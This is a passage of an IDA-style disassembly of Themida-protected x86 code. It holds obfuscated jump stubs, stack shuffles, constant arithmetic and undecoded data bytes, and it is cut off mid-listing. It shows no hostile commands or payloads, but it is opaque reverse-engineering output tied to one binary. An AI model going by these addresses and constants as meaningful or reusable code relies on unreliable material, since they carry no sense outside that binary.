ecx, 0FFFFFFFFh shr ecx, 3 or ecx, 688395Fh shr ecx, 2 add ecx, 0FC1CC105h add esi, 77C70A7h sub esi, 2DCA742Fh jmp loc_552681 ; --------------------------------------------------------------------------- loc_5519B7: ; CODE XREF: Themida_:0055149Bj sub eax, esi add eax, 53086097h jmp loc_554D3F ; --------------------------------------------------------------------------- db 56h dd 277AB3BEh, 5EF1014Bh db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_549297 ; --------------------------------------------------------------------------- loc_5519E0: ; CODE XREF: Themida_:00556099j push edi push ebx jmp loc_54A913 ; --------------------------------------------------------------------------- db 2Dh dd 193767D9h, 0BA52D829h, 27AB3BC4h, 5DE2814Ah, 8139491Bh dd 4ECh, 0FCB3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A06: ; CODE XREF: Themida_:0054A070j push 3DB1h mov [esp], edi push ecx jmp loc_5526EA ; --------------------------------------------------------------------------- loc_551A14: ; CODE XREF: Themida_:005516F0j xchg edx, [esp] pop esp jmp loc_54B22B ; --------------------------------------------------------------------------- db 81h, 0C7h, 0B6h dd 5932E604h, 8904EC83h, 0A5682404h, 0E9000057h, 0FFFF22B5h dd 5B2434FFh, 4C481h, 53E90000h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A43: ; CODE XREF: Themida_:00542059j push 326Bh jmp loc_550F9D ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 86h dd 5AFFFF80h, 4C281h, 0C2810000h, 4, 5C241487h, 4C381h dd 0A7680000h, 89000037h, 2682414h, 0FF000000h, 0E95A2434h dd 0FFFF612Dh, 2404875Dh, 0FE24248Bh, 0E99C240Ch, 0FFFF008Fh ; --------------------------------------------------------------------------- loc_551A90: ; CODE XREF: Themida_:005484DDj pop eax jmp loc_545818 ; --------------------------------------------------------------------------- dw 0E950h dd 1E4Ch, 55E9D501h, 0BFFFFF14h, 601C1FF3h, 0FF5FF929h dd 0E95E2434h, 0FFFF30E6h ; --------------------------------------------------------------------------- loc_551AB4: ; CODE XREF: Themida_:0054A4CFj mov [esp], ebp push eax jmp loc_549E5F ; --------------------------------------------------------------------------- loc_551ABD: ; CODE XREF: Themida_:0055014Aj mov ebp, 4 add [esp+4], ebp pop ebp pop ebx sub esp, 4 jmp loc_5562B3 ; --------------------------------------------------------------------------- dd 31240C33h, 0C33240Ch, 2CD35C24h, 0BFE99C24h, 0BFFFFF93h dd 4, 4247C01h, 24048F5Fh, 4EC81h, 1C890000h, 5CB85024h dd 0BB003854h, 0FFC7ABA8h, 8158C301h, 7A04246Ch, 53179F67h dd 0FF827DE9h, 4C483FFh, 0D864E951h, 489FFFFh, 2474FF24h dd 0DABEE904h, 0C829FFFFh, 4AA46852h, 1C890000h, 42AFBB24h dd 0D3F7066Bh, 0FFFFEB81h, 0EEE9FFFFh, 81FFFFB7h, 0E82149C2h dd 0ACF28168h, 1C860CDh, 0E9475AD7h, 319Bh ; --------------------------------------------------------------------------- loc_551B5C: ; CODE XREF: Themida_:0054FED1j xchg ebp, [esp] push ebp jmp loc_547F40 ; --------------------------------------------------------------------------- loc_551B65: ; CODE XREF: Themida_:0054A238j mov esp, [esp] jmp loc_54D52A ; --------------------------------------------------------------------------- align 2 dw 80D3h dd 0B652E7EBh, 0E9DEF623h, 0FFFF60F5h ; --------------------------------------------------------------------------- loc_551B7C: ; CODE XREF: Themida_:0054418Fj and eax, ecx pop ecx or eax, eax jnz loc_549279 push 1 mov edx, [esp] sub esp, 4 mov [esp], ebp push 2FADh mov [esp], esp jmp loc_547417 ; --------------------------------------------------------------------------- loc_551BA2: ; CODE XREF: Themida_:00549292j dec ecx xor ecx, 91F1A21Bh add edi, ecx pop ecx sub edx, 1BE545A0h add edx, edi add edx, 1BE545A0h pop edi jmp loc_552EF1 ; --------------------------------------------------------------------------- loc_551BC0: ; CODE XREF: Themida_:00549595j mov ecx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] shr eax, 0Ch jmp loc_546E04 ; --------------------------------------------------------------------------- loc_551BE5: ; CODE XREF: Themida_:00545FADj sub edi, 2F3420F8h sub edi, eax jmp loc_555FB0 ; --------------------------------------------------------------------------- dw 0C8BDh dd 0E9A4473Eh, 336h ; --------------------------------------------------------------------------- loc_551BFC: ; CODE XREF: Themida_:0054F5B5j mov eax, 31D36C08h push edi mov edi, 0B8606E68h jmp loc_54714D ; --------------------------------------------------------------------------- dd 0E957F501h, 0FFFF1BA6h, 0E959F580h, 0FFFF4A30h, 3C8BFE89h dd 9BB1E924h, 0C181FFFFh, 2814E6Ch, 5106F181h, 0CF0987FBh dd 0FBEF8159h, 8173D17Bh, 0CD1791EDh, 50FD0130h, 0B07C83B8h dd 3CE6E95Ah, 0E1890000h, 27BF5755h, 812BB045h, 0D6C04EFh dd 0BEE78168h, 811E1573h, 736783F7h, 9DEF8154h, 89567336h dd 74EE9FDh, 0DBB9FFFFh, 0E9353E71h, 0FFFFB980h ; --------------------------------------------------------------------------- loc_551C80: ; CODE XREF: Themida_:00545E4Aj add ebp, 4 jmp loc_54FE6C ; --------------------------------------------------------------------------- db 4 dd 58C3886Ch, 13E9D830h, 81000019h, 4EAh, 24148700h, 0FF5B86E9h db 0FFh ; --------------------------------------------------------------------------- loc_551CA5: ; CODE XREF: Themida_:00548BCFj shr edx, 1 cmp eax, edx jz loc_550229 push 5C8Fh mov [esp], esi push edi jmp loc_5521A3 ; --------------------------------------------------------------------------- loc_551CBD: ; CODE XREF: Themida_:00548DF2j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_547F19 ; --------------------------------------------------------------------------- loc_551CD3: ; CODE XREF: Themida_:0054F138j pop ecx jmp loc_5442C4 ; --------------------------------------------------------------------------- db 0BFh, 2, 0 dd 0D0680000h, 89000053h, 9FB82404h, 3519BD24h, 76860AA8h dd 0D709CB35h, 0F010E962h, 475BFFFFh, 87F7814Fh, 29BDE3F3h dd 0F7E95FF8h, 8FFFFCCh, 0B1515AF7h, 4E9BE980h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D16: ; CODE XREF: Themida_:00544645j add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, 7A527A61h jmp loc_548842 ; --------------------------------------------------------------------------- loc_551D30: ; CODE XREF: Themida_:0055254Aj sub edx, 20251165h shl edx, 1 neg edx jmp loc_543BB1 ; --------------------------------------------------------------------------- loc_551D3F: ; CODE XREF: Themida_:0054EA5Aj add edx, 6B9D2A29h sub edx, 712D40A7h add edx, edi push ebx mov ebx, 712D40A7h add edx, ebx pop ebx jmp loc_546E3B ; --------------------------------------------------------------------------- aXatos7 db '(ÂX€âŽé"7',0 align 2 dw 0BF57h dd 45550FC1h, 0FF77CAE9h, 2C6768FFh, 3C890000h, 50E78924h dd 4B8h, 1764E900h, 0DE89FFFFh, 81241C8Bh, 4C4h, 0E9545300h dd 0FFFFD6F7h ; --------------------------------------------------------------------------- loc_551D98: ; CODE XREF: Themida_:0054B6FDj add esi, ecx add esi, 182F5491h sub esi, 0D753DA1h add esi, 54620974h pop ecx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx jmp loc_54213D ; --------------------------------------------------------------------------- db 81h dd 5087242Ch, 815D6E64h, 645087C5h, 0EA89526Eh, 0E95AD089h dd 0FFFF09F7h, 0BA241489h, 4, 3F75EE81h, 0D60174EBh, 0FF24DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551E05: ; CODE XREF: Themida_:0054CCEAj mov eax, ebp pop ebp sub ecx, 31573C3Dh add ecx, eax add ecx, 31573C3Dh pop eax xchg ecx, [esp] pop esp bts [esp], ax pushf jmp loc_541B1F ; --------------------------------------------------------------------------- dw 895Ch dd 0BF57241Ch, 61756A5h, 0FFE74AE9h db 0FFh ; --------------------------------------------------------------------------- loc_551E35: ; CODE XREF: Themida_:00553104j pop dx add al, 34h push 399h mov [esp], ecx push 458Eh mov [esp], edx jmp loc_544110 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 770A94B9h, 5DBA525Eh, 81513A3Dh, 6E29F4F2h dd 57C28152h, 0E97E616Bh, 39A0h, 410C685Ah, 2C890000h dd 7F24BD24h, 0E95150E8h, 0FFFFFDF2h ; --------------------------------------------------------------------------- loc_551E84: ; CODE XREF: Themida_:00546597j mov esi, 622F6AFh add ebx, esi jmp loc_5496F8 ; --------------------------------------------------------------------------- dd 3D22C181h, 0C1290BC4h, 3D22E981h, 1580BC4h, 2434FFCAh dd 2421E959h, 2C33FFFFh, 24248B24h, 4EC81h, 1C890000h dd 4EC8124h, 89000000h, 22E92424h, 8BFFFF0Bh, 0C4812434h dd 4, 0FF12E6E9h, 667704FFh, 5724148Bh, 61E95F54h db 5Dh, 2 dup(0FFh) byte_551EE3 db 68h ; DATA XREF: Themida_:0054196Co dd 2A31h, 83243489h, 148904ECh, 51C16824h, 72E96C24h, 8300004Bh dd 0C38104C4h, 2C8D4971h, 1A9CC381h, 0C3813222h, 255D7BCBh dd 0FFCAE6E9h, 59BC68FFh, 0C159107Fh, 0E98102E9h, 41FD66Dh dd 34FFCF89h, 89565924h, 0DFA4E9E6h, 0CD29FFFFh, 5DE82959h dd 5FBA525Dh, 0E9673A7Fh, 0FFFF5DB9h, 68EF815Fh, 1D71B91h dd 14DE9FDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F52: ; CODE XREF: Themida_:0054D30Dj mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 push 50B9h mov [esp], ebx push dword ptr [esp+4] jmp loc_545B38 ; --------------------------------------------------------------------------- dd 0C6E922B2h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551F7B: ; CODE XREF: Themida_:00554DB6j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx mov edx, 154D46A0h sub [esp+8], edx pop edx jmp loc_550A1F ; --------------------------------------------------------------------------- dd 0BF26E959h, 48BFFFFh, 0FDCFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551FA2: ; CODE XREF: Themida_:0054585Dj and eax, edi jmp loc_54B69A ; --------------------------------------------------------------------------- loc_551FA9: ; CODE XREF: Themida_:00543658j mov edi, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add edi, 8567A69h push dword ptr [esp] pop ebx add esp, 4 shl edi, 2 jmp loc_551308 ; --------------------------------------------------------------------------- dd 35BDE95Ch, 3C8BFFFFh, 4EC8324h, 54242C89h, 0E9242C8Bh dd 0FFFFEE45h, 21D7BA52h, 8E91338h db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551FFF: ; CODE XREF: Themida_:00542D0Aj ; Themida_:loc_54EE05j sub esp, 4 mov [esp], ebx push edi push 41A34175h mov edi, [esp] add esp, 4 add dword ptr [esp+4], 46C577Ch add [esp+4], edi sub dword ptr [esp+4], 46C577Ch jmp loc_545F43 ; --------------------------------------------------------------------------- loc_55202A: ; CODE XREF: Themida_:00553647j add esi, eax pop eax push esi jmp loc_54DFD1 ; --------------------------------------------------------------------------- loc_552033: ; CODE XREF: Themida_:00555498j xor edi, [esp] mov esp, [esp] mov ax, [esp] push edi push esp pop edi jmp loc_54211D ; --------------------------------------------------------------------------- db 0D3h, 2 dup(24h) dd 0FAD1E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55204E: ; CODE XREF: Themida_:00545CB8j mov esi, esp add esi, 4 jmp loc_54366C ; --------------------------------------------------------------------------- loc_55205B: ; CODE XREF: Themida_:005477D9j mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] jmp loc_548D56 ; --------------------------------------------------------------------------- loc_552071: ; CODE XREF: Themida_:0054F946j mov edi, 72321385h push edi jmp loc_54E38F ; --------------------------------------------------------------------------- dd 83242C8Bh, 48B04C4h, 0E6895624h, 4C681h, 0E0E90000h dd 89FFFF76h, 59BE56E7h, 0E9185B6Ch, 0FFFF81C5h, 4C681h dd 60E90000h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5520AB: ; CODE XREF: Themida_:0054427Bj push edx mov edx, 380940F6h jmp loc_54335E ; --------------------------------------------------------------------------- loc_5520B6: ; CODE XREF: Themida_:00552DECj xchg eax, ebx not ebx xchg eax, ebx inc eax xchg eax, ebx not ebx xchg eax, ebx add eax, 18118AD9h jmp loc_54B08B ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 6804C483h, 1C4Bh, 0BD242C89h, 2C3D0AD2h, 294EE9h, 7EE95900h db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520E7: ; CODE XREF: Themida_:0054BBD7j mov edi, ebp mov ecx, edi pop edi pop ebp sub [edi+24h], ecx mov ecx, [esp] add esp, 4 jmp loc_5558CF ; --------------------------------------------------------------------------- byte_5520FB db 0ADh ; DATA XREF: Themida_:005419C4o dd 7D0368h, 24348900h, 0FF53E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_552109: ; CODE XREF: Themida_:00554F2Bj mov edx, 4F92A57h xchg ecx, edx xchg eax, ecx sub eax, 1 xchg eax, ecx push edx push ecx jmp loc_54AD8F ; --------------------------------------------------------------------------- loc_55211C: ; CODE XREF: Themida_:0054E577j xor ebx, eax pop eax or ecx, ebx pop ebx push edx mov edx, 7A2F21C7h neg edx xor edx, 4C10336h jmp loc_54F38E ; --------------------------------------------------------------------------- loc_552135: ; CODE XREF: Themida_:0054FF22j pop esp mov [esp], ebp jmp loc_54355A ; --------------------------------------------------------------------------- loc_55213E: ; CODE XREF: Themida_:0054890Fj push dword ptr [ebx] pop ecx mov ebx, [esp] push esi mov esi, esp push 570Dh mov [esp], eax mov eax, 59772AC2h sub eax, 67BC587Fh push ebx mov ebx, 522B0393h xor eax, ebx pop ebx jmp loc_546484 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEF9B3h, 4EC835Ah, 55243489h, 9433FDBDh, 0F3A7BE7Ah dd 0EE81B7A1h, 4C75430Ah, 8CE9EE01h, 0E9FFFF39h, 0FFFEF98Fh dd 0C7815F54h, 4, 3304EF83h, 6FE9243Ch db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5521A3: ; CODE XREF: Themida_:00551CB8j push 57B8h mov [esp], ebx mov ebx, 19082CA5h jmp loc_54D3E7 ; --------------------------------------------------------------------------- byte_5521B5 db 8Bh, 4, 24h ; DATA XREF: Themida_:0054199Co dd 4EC8155h, 0E9000000h, 45F2h, 0D0A8B551h, 61F580E5h dd 0E9F5E580h, 0FFFF68F9h ; --------------------------------------------------------------------------- loc_5521D4: ; CODE XREF: Themida_:00552709j add ebp, edi jmp loc_55687B ; --------------------------------------------------------------------------- loc_5521DB: ; CODE XREF: Themida_:00552CFFj mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_542E3A ; --------------------------------------------------------------------------- loc_5521F0: ; CODE XREF: Themida_:00548D20j push 11B8h jmp loc_542D50 ; --------------------------------------------------------------------------- loc_5521FA: ; CODE XREF: Themida_:0055178Cj mov [esp], eax push dword ptr [esp+4] mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_546576 ; --------------------------------------------------------------------------- loc_552215: ; CODE XREF: Themida_:00547E66j push eax mov eax, 4 add [esp+4], eax pop eax mov esi, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_54C137 ; --------------------------------------------------------------------------- dd 808FCF80h, 0F7803AE7h, 97B252EDh, 1B12E9h db 0 ; --------------------------------------------------------------------------- loc_552241: ; CODE XREF: Themida_:00555B5Ej shl ecx, 5 xor ecx, 604459A0h and eax, ecx jmp loc_54393A ; --------------------------------------------------------------------------- aZhjr db 'Zhjr',0 dw 8900h dd 0E954242Ch, 0FFFFF108h, 0E904EC83h, 0FFFFCE23h, 5DBDC681h dd 0C6817E1Eh, 61CC163Ah, 3DC3C681h, 0A8E92467h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_55227F: ; CODE XREF: Themida_:0054C943j push dword ptr [esp] pop eax add esp, 4 not edx add edx, 3A4444CBh jmp loc_546904 ; --------------------------------------------------------------------------- db 0BEh dd 4, 15FCC781h, 0F7012BC9h, 15FCEF81h, 9E92BC9h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522AB: ; CODE XREF: Themida_:0054AF21j inc esi push 10h mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 sub ecx, eax jmp loc_54E1B2 ; --------------------------------------------------------------------------- db 28h, 0CFh, 66h dd 50526659h, 0B0AFE952h, 3268FFFFh, 58606063h, 0F708E8C1h dd 0F8E955D8h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5522E7: ; CODE XREF: Themida_:00552D57j inc eax sub eax, 2B011033h or eax, 2BC872D7h add eax, 6397A421h sub ebx, eax pop eax push ebp mov ebp, ebx mov edi, ebp pop ebp mov ebx, [esp] add esp, 4 add [esp+4], edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 pop esi push ebp jmp loc_54A333 ; --------------------------------------------------------------------------- dd 72B65266h, 5A66F428h, 0FFA1A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55232D: ; CODE XREF: Themida_:00553149j shl eax, 4 jmp loc_54CC08 ; --------------------------------------------------------------------------- db 68h, 19h, 24h dd 24890000h, 59DFE924h, 0F681FFFFh, 3AD23DCDh, 83241C8Bh dd 0F00104C4h, 0E92434FFh, 0FFFF7341h ; --------------------------------------------------------------------------- loc_552358: ; CODE XREF: Themida_:00554983j dec edi shl edi, 7 or edi, 63762E43h push esi mov esi, 7FC50A9Fh shl esi, 3 push edx mov edx, 4ABE3A67h and esi, edx pop edx xor esi, 436E663Bh xor edi, esi pop esi add edi, 894EF66Ch add ebx, edi pop edi push ebx push dword ptr [esp+4] jmp loc_545945 ; --------------------------------------------------------------------------- loc_552390: ; CODE XREF: Themida_:0054950Bj push dword ptr [esp] jmp loc_54F5DC ; --------------------------------------------------------------------------- dd 42E9CE29h, 2DFFFFFDh, 4, 0FFD997E9h db 0FFh byte_5523A9 db 55h, 54h, 5Dh ; DATA XREF: Themida_:00541A54o dd 0FF3703E9h db 0FFh ; --------------------------------------------------------------------------- loc_5523B1: ; CODE XREF: Themida_:00547F56j pop esp push dword ptr [esp] pop ebx jmp loc_54B29C ; --------------------------------------------------------------------------- db 4 dd 500004A7h, 93E9E089h, 5FFFFF9Eh, 4C781h, 9EE90000h dd 4800000Bh, 6D4C4B2Dh, 0E032E925h, 0E953FFFFh, 0FFFEFA98h dd 50EA815Bh, 0E92A1726h, 0FFFFC5D6h, 745ED81h, 0ED813F97h dd 9594C776h, 15DEA89h, 0C6815AD6h, 4, 8B243487h, 0DE282424h dd 0E9241C8Bh, 0FFFFE371h, 0C381DBF7h, 9D03F0A2h, 6C2968h dd 241C8900h, 22240481h, 5A52ED5Ah, 5A22EA81h, 895B52EDh dd 24148BD3h, 4C481h, 8CE90000h, 81FFFF02h, 0A217A6C6h dd 0FFF3013Ch, 348B2434h, 4C48124h, 0E9000000h, 0FFFF3811h dd 0DE7FDCB8h, 58C72903h, 0FF88D6E9h, 4BA52FFh, 89000000h dd 0EF015AD5h, 5D2434FFh, 1311E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552482: ; CODE XREF: Themida_:005450DBj pop dword ptr [esp] mov esp, [esp] push 17BAh mov [esp], edx push eax mov al, 84h shr al, 4 and al, 81h not al add al, 28h mov dh, al pop eax jmp loc_54713D ; --------------------------------------------------------------------------- dword_5524A4 dd 68D830ACh, 2FFFh, 50241489h, 0B1517AB0h, 5CE1808Eh ; DATA XREF: Themida_:00541A94o dd 0FF2510E9h db 0FFh ; --------------------------------------------------------------------------- loc_5524BD: ; CODE XREF: Themida_:00542029j sub al, 24h sub al, bh add al, 24h pop ebx push edx push eax mov ah, 88h add ah, 8 mov dh, ah pop eax jmp loc_555E0F ; --------------------------------------------------------------------------- db 57h dd 0B70ED8BFh, 5F685141h, 592E615Ah, 32B4C181h, 0E98114EEh dd 50F05EF9h, 6156E949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5524F2: ; CODE XREF: Themida_:00549895j push 1361h mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 jmp loc_5498BF ; --------------------------------------------------------------------------- dd 2BDh, 0FFEA0100h, 835D2434h, 0E95204C4h, 0FFFF1E5Dh ; --------------------------------------------------------------------------- loc_552520: ; CODE XREF: Themida_:0054BED5j xchg edi, [esp] mov esp, [esp] jmp loc_549501 ; --------------------------------------------------------------------------- loc_55252B: ; CODE XREF: Themida_:005558B7j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax mov eax, esp push ecx mov ecx, 6ABC0D95h and ecx, 331F63BAh push edx mov edx, 0DC92399h jmp loc_551D30 ; --------------------------------------------------------------------------- loc_55254F: ; CODE XREF: Themida_:00550181j pop ebp push ebx mov ebx, 7C3D68E5h jmp loc_54C68F ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 4C781h, 0BD550000h, 4, 875DEF29h, 0E95C243Ch dd 0FFFFF5A6h, 6434ECB9h, 1724E926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552582: ; CODE XREF: Themida_:0054753Fj pop ebx xor ebx, ebp xor ebp, ebx xor ebx, ebp push edx jmp loc_5534C3 ; --------------------------------------------------------------------------- db 89h dd 0BFE9243Ch, 5AFFFF54h, 2C5BD800h, 4D8004Bh, 6650514Bh dd 0A623E952h, 34FFFFFFh, 4B2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5525B2: ; CODE XREF: Themida_:00555CABj pop eax dec eax sub eax, 19B36910h jmp loc_5481C7 ; --------------------------------------------------------------------------- dd offset dword_4F1044+24h dw 8900h dd 57E92424h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5525CB: ; CODE XREF: Themida_:0054741Fj push eax mov eax, 4 add ebp, eax pop eax push edi mov edi, 5DCC4297h shr edi, 8 sub esp, 4 mov [esp], edx jmp loc_54A49B ; --------------------------------------------------------------------------- loc_5525E8: ; CODE XREF: Themida_:005456C6j add [esp+8], eax pop eax add dword ptr [esp+4], 2C0A467Fh jmp loc_54A9DE ; --------------------------------------------------------------------------- dw 0EFBBh dd 0E9408437h, 0FFFFF1BDh, 81F8E95Bh, 0EC83FFFFh, 1C896602h dd 0D9B65224h, 205AF388h, 1C8B66DDh, 2C48124h, 0FE000000h dd 5EB353CDh, 34FFDD30h, 89515B24h, 75DCE9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552636: ; CODE XREF: Themida_:005511C1j xor edi, [esp] xor [esp], edi jmp loc_549F04 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0EC835A5Eh, 24348904h, 1A51BE56h, 7429605Ah, 0A2E90424h dd 0BDFFFF1Dh, 0DF111C2h, 0FF4B88E9h db 0FFh ; --------------------------------------------------------------------------- loc_552665: ; CODE XREF: Themida_:00544371j push dword ptr [esp] pop ebx jmp loc_548897 ; --------------------------------------------------------------------------- loc_55266E: ; CODE XREF: Themida_:0054298Aj add esp, 4 push eax mov eax, 5D1F6A32h and eax, 7D775FF1h jmp loc_550288 ; --------------------------------------------------------------------------- loc_552681: ; CODE XREF: Themida_:005519B2j sub esi, 477D6B8Dh sub esi, ecx add esi, 477D6B8Dh add esi, 2DCA742Fh sub esi, 77C70A7h pop ecx xchg esi, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push ebp mov ebp, 541C1354h shr ebp, 4 push 0 sub [esp], ebp mov ebp, [esp] add esp, 4 shr ebp, 6 jmp loc_551437 ; --------------------------------------------------------------------------- dw 0C8Ah dd 0E6895624h, 8CBBA52h, 0EAC15DA9h, 0C8AE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5526EA: ; CODE XREF: Themida_:00551A0Fj mov ecx, 37D13509h mov edi, 46D8248Ah add edi, ecx pop ecx add ebp, 65A93E79h sub ebp, 203C7A53h add ebp, 7B5539B3h jmp loc_5521D4 ; --------------------------------------------------------------------------- loc_55270E: ; CODE XREF: Themida_:00547019j pop ebx add ebp, edi push dword ptr [esp] pop edi add esp, 4 sub ebp, 4 jmp loc_5551DB ; --------------------------------------------------------------------------- dword_552720 dd 0E9243C30h, 0FFFF9420h ; DATA XREF: Themida_:00541948o ; --------------------------------------------------------------------------- loc_552728: ; CODE XREF: Themida_:00550720j shr edi, 2 shr edi, 5 xor edi, 18DF0524h jmp loc_54EFB8 ; --------------------------------------------------------------------------- loc_552739: ; CODE XREF: Themida_:005456E1j xor ebx, ebp xor ebp, ebx not ebx xchg ebx, ebp sub esp, 4 mov [esp], ebx mov ebx, 545A499Fh xor ebp, ebx mov ebx, [esp] add esp, 4 and eax, ebp mov ebp, [esp] push 37DFh mov [esp], eax sub esp, 4 mov [esp], esp push ebp jmp loc_544BB3 ; --------------------------------------------------------------------------- db 0BDh dd 2, 2C8BEA29h, 464A6824h, 4890000h, 56E95424h, 5CFFFF10h dd 4268C80Fh, 8900002Eh, 84E92404h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55279B: ; CODE XREF: Themida_:0054ACDEj shl esi, 5 jmp loc_54EC72 ; --------------------------------------------------------------------------- db 0F6h dd 8E2C0D2h, 0FF44BEE9h, 8BCD89FFh, 0C483240Ch, 20E95104h dd 81FFFF7Ch, 4C4h, 0F359E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5527C6: ; CODE XREF: Themida_:0054618Fj pop esp shr ch, 4 xor ch, 0Ah sub esp, 2 mov [esp], ax mov ah, 94h xor ch, ah mov ax, [esp] add esp, 2 add bl, 0A4h sub bl, ch sub bl, 0A4h jmp loc_54DBAE ; --------------------------------------------------------------------------- dw 8166h dd 0E97A33F7h, 90Dh, 65B65266h, 5A66F008h, 0C700D62Ch dd 582434FFh, 2804C483h, 241C8BF8h, 52E08950h, 4BAh, 0FDE0E900h dd 0BE56FFFEh, 4, 34FFF101h, 4BA9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552832: ; CODE XREF: Themida_:00542002j push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp] pop esp push edx push ecx mov ch, al mov dl, ch pop ecx jmp loc_543B2E ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 4EC8304h, 0FF11CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55285D: ; CODE XREF: Themida_:005430A3j mov eax, 4 add ebx, 479F5382h jmp loc_54EEA6 ; --------------------------------------------------------------------------- loc_55286D: ; CODE XREF: Themida_:00555192j add edi, 42A0049Ah sub edi, esi sub edi, 42A0049Ah pop esi push ecx mov ecx, 1 add edi, ecx mov ecx, [esp] add esp, 4 sub edi, 1 dec edi push 18C7h mov [esp], eax mov eax, 4BBF79DCh push esi mov esi, 88151E2h jmp loc_544387 ; --------------------------------------------------------------------------- dw 0F381h dd 5B6C48BFh, 8104E3C1h, 17711BF3h, 1CEB813Ch, 29293226h dd 0E95B5BDEh, 10Ch ; --------------------------------------------------------------------------- loc_5528C4: ; CODE XREF: Themida_:00543970j push 1C6360F6h jmp loc_549F0C ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h, 4C481h, 89570000h, 3077E9E7h, 487FFFFh, 0CA4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5528EA: ; CODE XREF: Themida_:00545F8Aj push edi mov edi, 4 add edx, 28AC202Bh add edx, edi jmp loc_5553AC ; --------------------------------------------------------------------------- db 4, 13h, 59h dd 0AD8E9h db 0 ; --------------------------------------------------------------------------- loc_552905: ; CODE XREF: Themida_:00556B70j dec ecx push edi push 5240BCC0h pop edi sub ecx, edi mov edi, [esp] jmp loc_54FAC9 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 0FF20B6E9h, 48F5FFFh, 0A1A6824h, 3C890000h dd 24348724h, 0FF6E63E9h, 0B6C381FFh, 295B186Fh, 0CCB9E9C3h dd 0DD05FFFFh, 8B6F7839h, 0C4812414h, 4, 2BD55h, 0E8010000h dd 0FFF11FE9h db 0FFh ; --------------------------------------------------------------------------- loc_552961: ; CODE XREF: Themida_:0054A7FDj add esp, 4 push edi mov edi, esp jmp loc_541D66 ; --------------------------------------------------------------------------- db 50h dd 0B8h, 0E9C68900h, 0FFFF59B3h, 0A13F76BAh, 1BF577Fh dd 0E9000000h, 0FFFF2569h, 0FEF18EE9h, 6768BEFFh, 0C681509Ch dd 57183A19h, 0E908E6C1h, 0FFFF77AAh, 8004B252h, 6896C2h dd 28000000h, 148A2414h, 4C48324h, 0EA80D2F6h, 49EA802Eh dd 49F280h, 24148BD0h, 0E904C483h, 0FFFF856Ah, 83242C8Bh dd 348704C4h, 0CE04E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5529DE: ; CODE XREF: Themida_:0054AF02j add dword ptr [edi+20h], 62BA2505h jmp loc_54B64C ; --------------------------------------------------------------------------- loc_5529EA: ; CODE XREF: Themida_:00544C9Bj mov esp, [esp] push edx push dword ptr [esp+4] jmp loc_546E48 ; --------------------------------------------------------------------------- db 87h dd 0D0F72404h, 0FF8BBBE9h, 0FFC783FFh, 6CC068h, 0B3E0E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552A0E: ; CODE XREF: 